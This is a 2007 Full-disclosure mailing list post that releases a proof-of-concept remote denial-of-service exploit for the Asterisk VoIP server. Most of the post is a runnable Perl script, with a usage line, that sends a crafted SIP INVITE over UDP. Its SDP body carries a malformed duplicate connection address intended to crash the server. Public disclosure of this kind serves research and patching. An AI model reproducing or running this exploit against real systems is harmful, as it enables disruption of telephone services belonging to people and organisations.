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[Full-disclosure] POC: for Asterisk SIP INVITE remote DOS

From: Radu State (stateloria.fr)
Date: Sat Mar 24 2007 - 08:11:29 CDT

Due to many requests for the POC and since most Asterisk systems should
have been patched by now, please find in this message the POc for our
advisory posted on

 

 <http://seclists.org/fulldisclosure/2007/Mar/0315.html>
http://seclists.org/fulldisclosure/2007/Mar/0315.html

 

 

usage example:

 

perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY

 

 

 

 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless
($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg="INVITE sip:$ARGV[2]\$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP
$ARGV[3]:$ARGV[4];branch=01;rport\r\nTo:
<sip:$ARGV[2]\$ARGV[0]:$ARGV[1]>\r\nFrom:
<sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\$ARGV[3]\r\nContent-Type:
application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length:
187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN
IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3
8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";

$socket->send($msg);

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